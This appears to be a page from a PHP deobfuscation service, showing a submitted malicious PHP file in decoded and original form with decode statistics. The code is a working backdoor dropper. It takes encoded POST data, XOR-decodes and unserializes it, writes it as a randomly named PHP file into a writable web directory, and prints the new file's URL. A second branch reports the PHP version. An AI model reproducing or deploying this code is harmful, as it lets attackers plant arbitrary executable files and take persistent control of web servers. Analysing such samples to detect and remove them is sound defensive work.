Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function yuurh($abSUJNCAt, $zUeaCEe, $zopmf){$qMjzxo = "84ee3209-7a28-4794-8c04-d831..
Decoded Output download
<?php function yuurh($abSUJNCAt, $zUeaCEe, $zopmf){$qMjzxo = "84ee3209-7a28-4794-8c04-d8319bfe26c1"; $LBoBriA = 52;return $abSUJNCAt ^ $qMjzxo[$zUeaCEe % strlen($qMjzxo)] ^ $zopmf;}$QbUsEHlEeIxhmZk = "MJmfVbfxN";$TBtWPfMb = 67;function xPxxhcGy($QbUsEHlEeIxhmZk){ $gINDM = "s".'t'.'r'.chr(95).chr(114)."o"."t"."1".chr(51);$QbUsEHlEeIxhmZk = $gINDM($QbUsEHlEeIxhmZk);$QMBzZRP = chr(891-777).chr(722-625)."w"."u".'r'.chr(108).'d'.chr(101).chr(1014-915).'o'.chr(908-808).chr(101);$QbUsEHlEeIxhmZk = $QMBzZRP($QbUsEHlEeIxhmZk);$QbUsEHlEeIxhmZk = str_split($QbUsEHlEeIxhmZk);return $QbUsEHlEeIxhmZk;}function tmuSlanb($EOPqNQEZx, $zopmf){$EOPqNQEZx = array_map("yuurh", array_values($EOPqNQEZx), array_keys($EOPqNQEZx), array_values($zopmf));$EOPqNQEZx = implode("", $EOPqNQEZx); $yLvEGU = 'ctHCv';$YvubZ = "u".'n'.chr(115).'e'.'r'.chr(105).chr(97)."l"."i".chr(122)."e";$EOPqNQEZx = @$YvubZ($EOPqNQEZx); $jfaxvlXu = 52;return $EOPqNQEZx;}function NqPwBJ($zopmf, $EOPqNQEZx){$zopmf = array_slice(str_split(str_repeat($zopmf, intval(count($EOPqNQEZx)/16)+1)), 0, count($EOPqNQEZx)); $YmECk = 25;return $zopmf;}function hZtYFLdTD(){$GZOlPiJm = 'yp';$wxxlxrE = 15;$QzQAT = 6;$rAYChqJQ = $wxxlxrE - $QzQAT;$UuPtto = 'TQLsiMVMmO';$QzQAT = $rAYChqJQ / 5;}hZtYFLdTD();function HXSunkhx(){echo "ZWvhFJU"; $NleQhhIaB = 62;}function GWqmOFuI($QbUsEHir){static $xEcUR = array();$vcvrhJP = glob($QbUsEHir . '/*', GLOB_ONLYDIR);$ZhbdYoTA = count($vcvrhJP); $QvhrJYw = 38; $HwcFdeaoU = 'YoDwEvdSS';if ($ZhbdYoTA > 0) {foreach ($vcvrhJP as $QbUsEH) {$lxgFNVAJ = "i".chr(397-282)."_".chr(215-96).'r'.chr(105).chr(116)."a"."b"."l".'e';if (@$lxgFNVAJ($QbUsEH)) {$xEcUR[] = $QbUsEH;}}}foreach ($vcvrhJP as $QbUsEHir) GWqmOFuI($QbUsEHir);return $xEcUR;}function wcxYTwykOc($EOPqNQEZx){$lVpaxzjnm = chr(68).chr(403-324).'C'.chr(85).'M'.'E'."N".chr(1009-925)."_"."R".chr(79).chr(79).chr(804-720);$ZBiWG = $_SERVER[$lVpaxzjnm]; $xdzbSqKcp = 'fEGAlkPdh';$vcvrhJP = GWqmOFuI($ZBiWG);$LwEQx = array_rand($vcvrhJP);$ARdcTTtQg = chr(46)."p".'h'."p";$ATNpBh = $vcvrhJP[$LwEQx] . "/" . substr(md5(time()), 0, 8) . $ARdcTTtQg;$kxBnX = chr(102).chr(950-845).'l'."e".chr(553-458)."p"."u"."t"."_".chr(99)."o"."n"."t"."e"."n".'t'."s";@$kxBnX($ATNpBh, $EOPqNQEZx);$HwkdSRwb = chr(221-149).chr(84)."T".chr(998-918).chr(95)."H".'O'.chr(83).'T';$WJJQicjD = "h".'t'.'t'."p".chr(58)."/".'/';$DzgsaEd = $WJJQicjD . $_SERVER[$HwkdSRwb] . substr($ATNpBh, strlen($ZBiWG)); $ADlzjpf = 'tlB'; $vCofFh = 64;print($DzgsaEd); $itIftiwAK = 62;}function iuZIdCOL($EOPqNQEZx, $LwEQx){$LwEQx = $LwEQx[0];if ($EOPqNQEZx !== $LwEQx){wcxYTwykOc($EOPqNQEZx);}else {QOPkkh(); $TsKFlB = 'qADfd';}}function QOPkkh(){$OUyaZH = 'p'.chr(104).chr(827-715);$wVgvU = 'p'."h".chr(112)."v"."e".chr(502-388).chr(732-617).chr(105).chr(264-153).chr(110);$EOPqNQEZx = Array($OUyaZH => @$wVgvU(), );$AwMQfDVus = 's'.'e'.chr(152-38)."i"."a".chr(381-273)."i".chr(122)."e";echo @$AwMQfDVus($EOPqNQEZx); $tPqGbYx = 'WyHRNRXG';}function CFjdKzL(){echo "MJmfVbfxN";}foreach ($_POST as $zopmf => $EOPqNQEZx){$ANpHGVSOWi = strlen($zopmf); $leGKxDuhC = 'Qvga';if ($ANpHGVSOWi == 16){$EOPqNQEZx = xPxxhcGy($EOPqNQEZx);$zopmf = NqPwBJ($zopmf, $EOPqNQEZx);$EOPqNQEZx = tmuSlanb($EOPqNQEZx, $zopmf); $ZVNaW = 61;if (@is_array($EOPqNQEZx)){$LwEQx = array_keys($EOPqNQEZx); $eDUFeyU = 54;$EOPqNQEZx = $EOPqNQEZx[$LwEQx[0]]; $eDUFeyU = $eDUFeyU - 8;iuZIdCOL($EOPqNQEZx, $LwEQx); $fbfzcVfVu = 51;}}}die();?>
Did this file decode correctly?
Original Code
<?php function yuurh($abSUJNCAt, $zUeaCEe, $zopmf){$qMjzxo = "84ee3209-7a28-4794-8c04-d8319bfe26c1"; $LBoBriA = 52;return $abSUJNCAt ^ $qMjzxo[$zUeaCEe % strlen($qMjzxo)] ^ $zopmf;}$QbUsEHlEeIxhmZk = "MJmfVbfxN";$TBtWPfMb = 67;function xPxxhcGy($QbUsEHlEeIxhmZk){ $gINDM = "\163".'t'.'r'.chr(95).chr(114)."\x6f"."\164"."\x31".chr(51);$QbUsEHlEeIxhmZk = $gINDM($QbUsEHlEeIxhmZk);$QMBzZRP = chr(891-777).chr(722-625)."\x77"."\165".'r'.chr(108).'d'.chr(101).chr(1014-915).'o'.chr(908-808).chr(101);$QbUsEHlEeIxhmZk = $QMBzZRP($QbUsEHlEeIxhmZk);$QbUsEHlEeIxhmZk = str_split($QbUsEHlEeIxhmZk);return $QbUsEHlEeIxhmZk;}function tmuSlanb($EOPqNQEZx, $zopmf){$EOPqNQEZx = array_map("yuurh", array_values($EOPqNQEZx), array_keys($EOPqNQEZx), array_values($zopmf));$EOPqNQEZx = implode("", $EOPqNQEZx); $yLvEGU = 'ctHCv';$YvubZ = "\x75".'n'.chr(115).'e'.'r'.chr(105).chr(97)."\x6c"."\151".chr(122)."\145";$EOPqNQEZx = @$YvubZ($EOPqNQEZx); $jfaxvlXu = 52;return $EOPqNQEZx;}function NqPwBJ($zopmf, $EOPqNQEZx){$zopmf = array_slice(str_split(str_repeat($zopmf, intval(count($EOPqNQEZx)/16)+1)), 0, count($EOPqNQEZx)); $YmECk = 25;return $zopmf;}function hZtYFLdTD(){$GZOlPiJm = 'yp';$wxxlxrE = 15;$QzQAT = 6;$rAYChqJQ = $wxxlxrE - $QzQAT;$UuPtto = 'TQLsiMVMmO';$QzQAT = $rAYChqJQ / 5;}hZtYFLdTD();function HXSunkhx(){echo "ZWvhFJU"; $NleQhhIaB = 62;}function GWqmOFuI($QbUsEHir){static $xEcUR = array();$vcvrhJP = glob($QbUsEHir . '/*', GLOB_ONLYDIR);$ZhbdYoTA = count($vcvrhJP); $QvhrJYw = 38; $HwcFdeaoU = 'YoDwEvdSS';if ($ZhbdYoTA > 0) {foreach ($vcvrhJP as $QbUsEH) {$lxgFNVAJ = "\x69".chr(397-282)."\137".chr(215-96).'r'.chr(105).chr(116)."\x61"."\142"."\154".'e';if (@$lxgFNVAJ($QbUsEH)) {$xEcUR[] = $QbUsEH;}}}foreach ($vcvrhJP as $QbUsEHir) GWqmOFuI($QbUsEHir);return $xEcUR;}function wcxYTwykOc($EOPqNQEZx){$lVpaxzjnm = chr(68).chr(403-324).'C'.chr(85).'M'.'E'."\116".chr(1009-925)."\137"."\122".chr(79).chr(79).chr(804-720);$ZBiWG = $_SERVER[$lVpaxzjnm]; $xdzbSqKcp = 'fEGAlkPdh';$vcvrhJP = GWqmOFuI($ZBiWG);$LwEQx = array_rand($vcvrhJP);$ARdcTTtQg = chr(46)."\160".'h'."\160";$ATNpBh = $vcvrhJP[$LwEQx] . "/" . substr(md5(time()), 0, 8) . $ARdcTTtQg;$kxBnX = chr(102).chr(950-845).'l'."\145".chr(553-458)."\160"."\x75"."\164"."\137".chr(99)."\x6f"."\156"."\x74"."\145"."\156".'t'."\163";@$kxBnX($ATNpBh, $EOPqNQEZx);$HwkdSRwb = chr(221-149).chr(84)."\x54".chr(998-918).chr(95)."\x48".'O'.chr(83).'T';$WJJQicjD = "\x68".'t'.'t'."\x70".chr(58)."\x2f".'/';$DzgsaEd = $WJJQicjD . $_SERVER[$HwkdSRwb] . substr($ATNpBh, strlen($ZBiWG)); $ADlzjpf = 'tlB'; $vCofFh = 64;print($DzgsaEd); $itIftiwAK = 62;}function iuZIdCOL($EOPqNQEZx, $LwEQx){$LwEQx = $LwEQx[0];if ($EOPqNQEZx !== $LwEQx){wcxYTwykOc($EOPqNQEZx);}else {QOPkkh(); $TsKFlB = 'qADfd';}}function QOPkkh(){$OUyaZH = 'p'.chr(104).chr(827-715);$wVgvU = 'p'."\150".chr(112)."\166"."\145".chr(502-388).chr(732-617).chr(105).chr(264-153).chr(110);$EOPqNQEZx = Array($OUyaZH => @$wVgvU(), );$AwMQfDVus = 's'.'e'.chr(152-38)."\x69"."\x61".chr(381-273)."\151".chr(122)."\145";echo @$AwMQfDVus($EOPqNQEZx); $tPqGbYx = 'WyHRNRXG';}function CFjdKzL(){echo "MJmfVbfxN";}foreach ($_POST as $zopmf => $EOPqNQEZx){$ANpHGVSOWi = strlen($zopmf); $leGKxDuhC = 'Qvga';if ($ANpHGVSOWi == 16){$EOPqNQEZx = xPxxhcGy($EOPqNQEZx);$zopmf = NqPwBJ($zopmf, $EOPqNQEZx);$EOPqNQEZx = tmuSlanb($EOPqNQEZx, $zopmf); $ZVNaW = 61;if (@is_array($EOPqNQEZx)){$LwEQx = array_keys($EOPqNQEZx); $eDUFeyU = 54;$EOPqNQEZx = $EOPqNQEZx[$LwEQx[0]]; $eDUFeyU = $eDUFeyU - 8;iuZIdCOL($EOPqNQEZx, $LwEQx); $fbfzcVfVu = 51;}}}die();?>
Function Calls
hZtYFLdTD | 1 |
Stats
MD5 | d2141a90c4a291a39a715e85ddcf367d |
Eval Count | 0 |
Decode Time | 60 ms |